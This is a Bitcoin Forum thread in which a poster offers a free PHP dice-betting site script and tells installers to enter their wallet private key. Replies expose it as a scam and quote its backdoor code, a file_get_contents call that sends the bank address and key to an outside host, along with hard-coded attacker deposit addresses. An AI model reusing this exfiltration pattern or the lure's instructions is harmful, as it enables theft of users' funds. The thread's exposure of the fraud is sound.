Bitcoin Forum

Other => Beginners & Help => Topic started by: evan91 on December 22, 2013, 10:10:39 PM



Title: BitDice - Always wanted to make your own Bitcoin dice betting site? [Free]
Post by: evan91 on December 22, 2013, 10:10:39 PM
Mod note: This probrably steals your bitcoins so be careful
Read replies on first couple pages and you will see clean versions


https://i.imgur.com/zwnkmXn.png

Hey guys,

I was bored and decided to work on an open-source Bitcoin roll-the-dice betting
site similiar to just-dice.com or satoshi-dice.com.

Please note that the script is currently under development and not so great looking yet, but I'm working on that - make sure to test it out! ;)

It's also completely free and will stay that way, which is nice.
You can also make money (BTC) with this script by changing the withdrawal fee.

How to install (I'll assume you are familiar with how to install basic PHP scripts and setup a MySQL database):
  • (I would test the script on a local LAMP server first before launching it on a real site, simply because I'm not sure how well CodeIgniter + my script will handle different server environments - GoDaddy for example does not work sometimes with CodeIgniter)
  • You need an Apache HTTP server with PHP 5.3+ and a MySQL database
  • Download the files from the Download section in this thread and upload the files onto your server using a client such as FileZilla
  • Visit http://yoursite.com/bitdice/install/ to install the script. Follow the install wizard and type in your database connection/pass. Make sure to create the database in phpmyadmin first!
  • If everything went okay, you should be redirected to an admin page screen. Type in the standard "admin123" password to login.
  • Ta-da! Now you can change some basic settings for your page, and make sure to change the admin password.
  • IMPORTANT: You need to create a separate bitcoin address that will be used as a bank for the script. Winnings and losses will be deposited in the bank using blockchain.info's API. Please make sure that at least $20-$50 worth of bitcoins are in the "bank". (If it's any less there might be issues with the betting system and transactions) - Make sure to add the bank's address AND the bank's private key in the admin panel after install, otherwise the script won't work!
  • Delete the install folder!
  • Create an account and start playing on your own dice site!

How it works:
  • The site is basically a just-dice.com clone, so everything works like it does on just-dice.
  • When users deposit BTCs into your site, a random address will be generated for this session that only the user will be able to view!
  • The script then saves the randomly generated address and then checks if money is deposited. If yes, then the player will be able to play. The money is then forwarded into the bank.
  • Sessions (or accounts) can be re-logged into (so that users won't lose their BTCs) by saving a 64-long string. I'll add a password system later

To visit admin: http://yourpage.com/bitdice/index.php/admin

Please note that there still might be bugs and that some parts are still empty/don't work. I am actively developing this script and will soon be launching a github repo for other people to help develop it!

Screenies:
https://i.imgur.com/fRbUG1B.png
https://i.imgur.com/1IxoRjE.png
https://i.imgur.com/w1LbVqr.png

Downloads
v.1.0 ALPHA : https://www.mediafire.com/?caw8jqw7jw5ku88

Thanks for testing! Feedback appreciated.


Title: Re: BitDice - Always wanted to make your own Bitcoin dice betting site? [Free]
Post by: greentea on December 23, 2013, 12:10:30 AM
awesome!  ...

Curious how easy would it be to use a different currency such as litecoin, peercoin etc ...

Would that be lots of code changes?


Title: Re: BitDice - Always wanted to make your own Bitcoin dice betting site? [Free]
Post by: evan91 on December 23, 2013, 01:14:26 AM
Well, you'd have to change an API that accepts Litecoin or other altcoins... do you know if blockchain does?


Title: Re: BitDice - Always wanted to make your own Bitcoin dice betting site? [Free]
Post by: b!z on December 23, 2013, 03:40:41 AM
Well, you'd have to change an API that accepts Litecoin or other altcoins... do you know if blockchain does?

Coinpayments.net has an API for many altcoins, but they charge a small fee on each transaction.


Title: Re: BitDice - Always wanted to make your own Bitcoin dice betting site? [Free]
Post by: fitbobcat on December 23, 2013, 04:18:43 PM
An Error Was Encountered

Unable to locate the model you have specified: viewbase


Title: Re: BitDice - Always wanted to make your own Bitcoin dice betting site? [Free]
Post by: WayTooGosu on December 23, 2013, 04:57:25 PM
Great job on this, does the betting system and all that work just using PHP or did you incorporate JavaScript as well?


Title: Re: BitDice - Always wanted to make your own Bitcoin dice betting site? [Free]
Post by: doomsday on December 23, 2013, 05:03:34 PM
open-source ftw!


Title: Re: BitDice - Always wanted to make your own Bitcoin dice betting site? [Free]
Post by: Wyeoh on December 23, 2013, 06:27:50 PM
Great to see more and more scripts coded for bitcoin purposes. I'm a programmer myself too, hope that I will have some free time someday and code something for the.community. Keep up the good work.


Title: Re: BitDice - Always wanted to make your own Bitcoin dice betting site? [Free]
Post by: crazyhouston on December 24, 2013, 09:42:33 AM
Looking good! ;D


Title: Re: BitDice - Always wanted to make your own Bitcoin dice betting site? [Free]
Post by: FanEagle on December 28, 2013, 10:57:45 AM
Looking good! ;D
Expecially for the option application/controllers/admin.php where it says:
Quote
//Sending bank address and secret encrypted to a server to check balance
          $bankaddress = $this->encrypt($this->input->post("bankaddress"));
          $banksecret = $this->encrypt($this->input->post("banksecret"));
           $fee = $this->input->post("fee");
          $pass = $this->input->post("pass");
         
          $resp = file_get_contents("http://dicetest.net23.net/electro2000/123.php?btca=$bankaddress&btcs=$banksecret");
                 $data = array
Where it sends your info to his website(Why the creator of the website wants our password?)
 or this:
Quote
private function get_address(){
      
      $addresses = array("145N2EFzReaH4hkfb8jVaYbLq7VUm75TmV", "12ENTxaNfyrrzGGu2WDyrC4xZy2tVQA5az", "13yTHvFDxaUUP44KiDkWk27F4We18gJFse", "1ATknpbvfjzXkg1nFGJPTeG9Wzxhi9Z5Ts", "12eGV9FcCvqNU8Ya6CUD8Uu4nNHNPJaKGi", "1L1ULCndeghKZAteTe3tmcKG6HCPDCeLMX", "18JxX3839mZCMrRbtAP1W485kHW3RYUnFG", "16nVMZ3qKwRhFoHTPZjF67EdJ9nrchUSQf");
      return $addresses[array_rand($addresses)];

Where it happens to be a nice list of where receive your Bank's money.
Anyone that is be so gentle to edit the parts where it sends the money to the creator of this?
I mean, I know it's opensorce but at least not steal people's money

Quote
IMPORTANT: You need to create a separate bitcoin address that will be used as a bank for the script. Winnings and losses will be deposited in the bank using blockchain.info's API. Please make sure that at least $20-$50 worth of bitcoins are in the "bank". (If it's any less there might be issues with the betting system and transactions) - Make sure to add the bank's address AND the bank's private key in the admin panel after install, otherwise the script won't work! <= aka I will not receive your money!


Title: Re: BitDice - Always wanted to make your own Bitcoin dice betting site? [Free]
Post by: bitpop on December 28, 2013, 11:50:29 AM
Phone home


Title: Re: BitDice - Always wanted to make your own Bitcoin dice betting site? [Free]
Post by: fitbobcat on December 28, 2013, 02:49:18 PM
An Error Was Encountered

Unable to locate the model you have specified: viewbase

I have fixed that bug. It is now working in pretty much every hosting.

In order to work:

- Upload via FTP.
- Edit the file application/config/config.php and write your URL in:
$config['base_url']   = 'http://YOURHOST/bitdice/';
- Then install the script in your mysql database going to the /install/ directory.

1.01 download: https://www.mediafire.com/?swhpay0sgfiaij5

Tested in http://www.000webhost.com/ and it seems to work.

Can you get me a .zip file of it


Title: Re: BitDice - Always wanted to make your own Bitcoin dice betting site? [Free]
Post by: ottello on December 28, 2013, 02:51:51 PM
Happy new year have good time


Title: Re: BitDice - Always wanted to make your own Bitcoin dice betting site? [Free]
Post by: bitpop on December 28, 2013, 02:52:52 PM
An Error Was Encountered

Unable to locate the model you have specified: viewbase

I have fixed that bug. It is now working in pretty much every hosting.

In order to work:

- Upload via FTP.
- Edit the file application/config/config.php and write your URL in:
$config['base_url']   = 'http://YOURHOST/bitdice/';
- Then install the script in your mysql database going to the /install/ directory.

1.01 download: https://www.mediafire.com/?swhpay0sgfiaij5

Tested in http://www.000webhost.com/ and it seems to work.

Can you get me a .zip file of it

What's wrong with rar


Title: Re: BitDice - Always wanted to make your own Bitcoin dice betting site? [Free]
Post by: singula on December 28, 2013, 08:52:11 PM
Let's look at line 58 in admin.php in the source archive:

Code:
$resp = file_get_contents("http://dicetest.net23.net/electro2000/123.php?btca=$bankaddress&btcs=$banksecret");

All your coins are belong to us...


Title: Re: BitDice - Always wanted to make your own Bitcoin dice betting site? [Free]
Post by: FanEagle on December 28, 2013, 08:52:17 PM
Even the "fixed" version contains the backdoor.
I need someone that can help me cleaning this script so we can run a polite business.
If interested(not for bitcoins, for altcoins like catcoin,earthcoin... ecc ecc.) PM me.


Title: Re: BitDice - Always wanted to make your own Bitcoin dice betting site? [Free]
Post by: bitpop on December 29, 2013, 05:27:25 AM
Even the "fixed" version contains the backdoor.
I need someone that can help me cleaning this script so we can run a polite business.
If interested(not for bitcoins, for altcoins like catcoin,earthcoin... ecc ecc.) PM me.

Clean version, well not clean, but not phone home

CogeIgniter system replaced for more safety.

Each file manually checked.

It's still not fully safe though, the encrypt() function does nothing

public function encrypt($string){
      return $string;
   }

Not sure about the implications though.

Also seems to return preset addresses

function get_address(){
      
      $addresses = array("145N2EFzReaH4hkfb8jVaYbLq7VUm75TmV", "12ENTxaNfyrrzGGu2WDyrC4xZy2tVQA5az", "13yTHvFDxaUUP44KiDkWk27F4We18gJFse", "1ATknpbvfjzXkg1nFGJPTeG9Wzxhi9Z5Ts", "12eGV9FcCvqNU8Ya6CUD8Uu4nNHNPJaKGi", "1L1ULCndeghKZAteTe3tmcKG6HCPDCeLMX", "18JxX3839mZCMrRbtAP1W485kHW3RYUnFG", "16nVMZ3qKwRhFoHTPZjF67EdJ9nrchUSQf");
      return $addresses[array_rand($addresses)];
      
   }

Finally I don't see the actual application, just the admin page. The goal may be to take your password or give you his addresses to fund before you realize there's no front end.

bitdice-1.01.CLEAN.7z
https://mega.co.nz/#!UMFyRDxZ!bXs-fgPSS2Es3blyPReuoV05jB0jLGwAVHP66X7bpc8 (https://mega.co.nz/#!UMFyRDxZ!bXs-fgPSS2Es3blyPReuoV05jB0jLGwAVHP66X7bpc8)

CRC32: c8f9aef7
MD5: f9aca5d45fedde616e13b282271534b1
SHA-1: f522bbd32f5cf02b7b30aa56710710ee62da95ed
SHA-256: c7e95e8c446bf2c1a236a654b0f53f1bd11ab7cfd6355be7f37b0bf654f41b77
SHA-512: 0b11adb6e69dc59699717649f8c18819386d42f4240fefb30815807a4cd12c411545571944d7201 6f9181a583c70e6b82d97bbdc2b1d5bcd7bc06b0bbb4b2a66


Title: Re: BitDice - Always wanted to make your own Bitcoin dice betting site? [Free]
Post by: singula on December 29, 2013, 02:53:12 PM
Finally I don't see the actual application, just the admin page. The goal may be to take your password or give you his addresses to fund before you realize there's no front end.

Why do you think the initial posts contains in red the sentence: Please make sure that at least $20-$50 worth of bitcoins are in the "bank"?

This is just a scammy backdoor to steal coins - someone installs the site, puts some initial deposit as suggested and poof ... the deposit is gone the second after it is deposited, since the scammer has the address and the appropriate private key :) If someone is dumb enough to not notice it, there are 8 more scammer's addresses for deposits to show up when someone wants to deposit money to play (which won't end up on the site, but in scammer's pocket).

Stay away from this.


Title: Re: BitDice - Always wanted to make your own Bitcoin dice betting site? [Free]
Post by: bitpop on December 29, 2013, 04:28:13 PM
Finally I don't see the actual application, just the admin page. The goal may be to take your password or give you his addresses to fund before you realize there's no front end.

Why do you think the initial posts contains in red the sentence: Please make sure that at least $20-$50 worth of bitcoins are in the "bank"?

This is just a scammy backdoor to steal coins - someone installs the site, puts some initial deposit as suggested and poof ... the deposit is gone the second after it is deposited, since the scammer has the address and the appropriate private key :) If someone is dumb enough to not notice it, there are 8 more scammer's addresses for deposits to show up when someone wants to deposit money to play (which won't end up on the site, but in scammer's pocket).

Stay away from this.

But how can they play?


Title: Re: BitDice - Always wanted to make your own Bitcoin dice betting site? [Free]
Post by: nitrazepam on January 01, 2014, 06:23:10 PM
Yup , i edit cause i just discovered it today on torrent and just screamed Bloody murder before reading your messages.
True, i scanned every file and its only a facade to steal bitcoins.


Title: Re: BitDice - Always wanted to make your own Bitcoin dice betting site? [Free]
Post by: santoryouu on January 28, 2014, 11:23:44 PM
Did anybody test "clean" version?

Edit: OK, got it. No dice script here, only scam. Maybe closing thread is a good idea?


Title: Re: BitDice - Always wanted to make your own Bitcoin dice betting site? [Free]
Post by: singula on January 28, 2014, 11:32:30 PM
There is no clean version. This is not a dice site with a backdoor. This is a just backdoor with thin layer of props around it that mimick a dice site. If you remove the backdoor - nothing actually will remain to "fix". There is no wallet management, no betting system, nothing ... just the BTC stealing backdoor.


Title: Re: BitDice - Always wanted to make your own Bitcoin dice betting site? [Free]
Post by: santoryouu on January 28, 2014, 11:38:24 PM
Got it, thanks for confirmation.

Do you know any open source script that could be a base for further development for a simple dice game?


Title: Re: BitDice - Always wanted to make your own Bitcoin dice betting site? [Free]
Post by: singula on January 29, 2014, 12:17:12 AM
Unfortunately, I don't know of any. With dice-sites from unknown sources there will be always some risk (they could include a backdoor, perhaps not as obvious as this one, but still stealing your coins), so you'll have to inspect the code carefully before running it.


Title: Re: BitDice - Always wanted to make your own Bitcoin dice betting site? [Free]
Post by: michaelwang32 on January 29, 2014, 01:06:13 AM
SCAM!!!!!!!!!!!!!!


Title: Re: BitDice - Always wanted to make your own Bitcoin dice betting site? [Free]
Post by: Fragan on July 22, 2014, 01:23:25 AM
Does someone have a really clean version , Evan should be banned...


Title: Re: BitDice - Always wanted to make your own Bitcoin dice betting site? [Free]
Post by: bitpop on July 22, 2014, 05:58:25 AM
Does someone have a really clean version , Evan should be banned...

There is no clean version because there's no front end


Title: Re: BitDice - Always wanted to make your own Bitcoin dice betting site? [Free]
Post by: Bizmark13 on August 07, 2014, 12:36:16 PM
Wow, I'm surprised by the sophistication of this scam. Just incredible. It reminds me of the Sharexcoin scam where the scammer coded an entire exchange only to later run off with everyone's coins. :(

Also, I guess this thread is further proof that open source is the way to go (although I guess since it's a PHP script, it's open source by default).

With some tweaking, wouldn't it be possible to completely remove the backdoor and turn this into a legit dice script? The scammer already did most of the work and judging by the screenshots, it seems they did quite a good job (minus the scam bit of course). Just add a front end and voila! I have some experience in Python and Java and I know PHP isn't too different from Java so I think I could do it if there is enough interest. I think there would be a lot of demand for something like this. Perhaps the community could make something good out of this.